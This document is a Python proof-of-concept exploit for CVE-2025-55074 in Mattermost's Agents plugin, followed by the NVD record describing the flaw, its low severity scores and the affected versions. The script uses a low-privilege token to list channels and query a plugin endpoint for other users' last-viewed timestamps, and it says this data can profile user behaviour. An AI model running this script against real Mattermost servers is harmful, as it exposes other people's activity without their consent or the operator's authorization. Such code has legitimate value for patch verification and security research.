CVE-2025-55074

# CVE-2025-55074 PoC - Mattermost Agents Plugin Information Disclosure # Author: Security Researcher # Target: Mattermost <= 10.11.3, <= 10.5.11 import requests import json TARGET_URL = "https://mattermost.example.com" API_TOKEN = "your_auth_token_here" def exploit_agents_plugin(): """ This PoC demonstrates how an authenticated low-privilege user can query channel member objects through the Agents plugin to discover when other users read specific channels. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Enumerate channels accessible to the user channels_endpoint = f"{TARGET_URL}/api/v4/channels" channels_response = requests.get(channels_endpoint, headers=headers) if channels_response.status_code != 200: print(f"[-] Failed to enumerate channels: {channels_response.status_code}") return channels = channels_response.json() print(f"[+] Found {len(channels)} accessible channels") # Step 2: Query Agents plugin API for channel member information for channel in channels: channel_id = channel["id"] agents_endpoint = f"{TARGET_URL}/plugins/com.mattermost.agents/api/members" params = {"channel_id": channel_id} members_response = requests.get(agents_endpoint, headers=headers, params=params) if members_response.status_code == 200: members_data = members_response.json() print(f"\n[+] Channel: {channel['display_name']} ({channel_id})") # Extract reading timestamps from member objects for member in members_data: user_id = member.get("user_id", "unknown") last_read_time = member.get("last_viewed_at", "not exposed") print(f" User: {user_id[:8]}... | Last Read: {last_read_time}") print("\n[!] This information can be used to profile user behavior patterns") if __name__ == "__main__": print("CVE-2025-55074 Mattermost Agents Plugin Exploitation") print("=" * 50) exploit_agents_plugin()

{"cve": {"id": "CVE-2025-55074", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:44.500", "lastModified": "2025-11-25T20:24:39.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.3, 10.5.x <= 10.5.11 fail to enforce access permissions on the Agents plugin which allows other users to determine when users had read channels via channel member objects"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.12", "matchCriteriaId": "CCE1652A-13F7-4934-9F90-28129BAEE240"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.4", "matchCriteriaId": "2A1F41DC-D93D-48A7-8A3B-623C3344E979"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}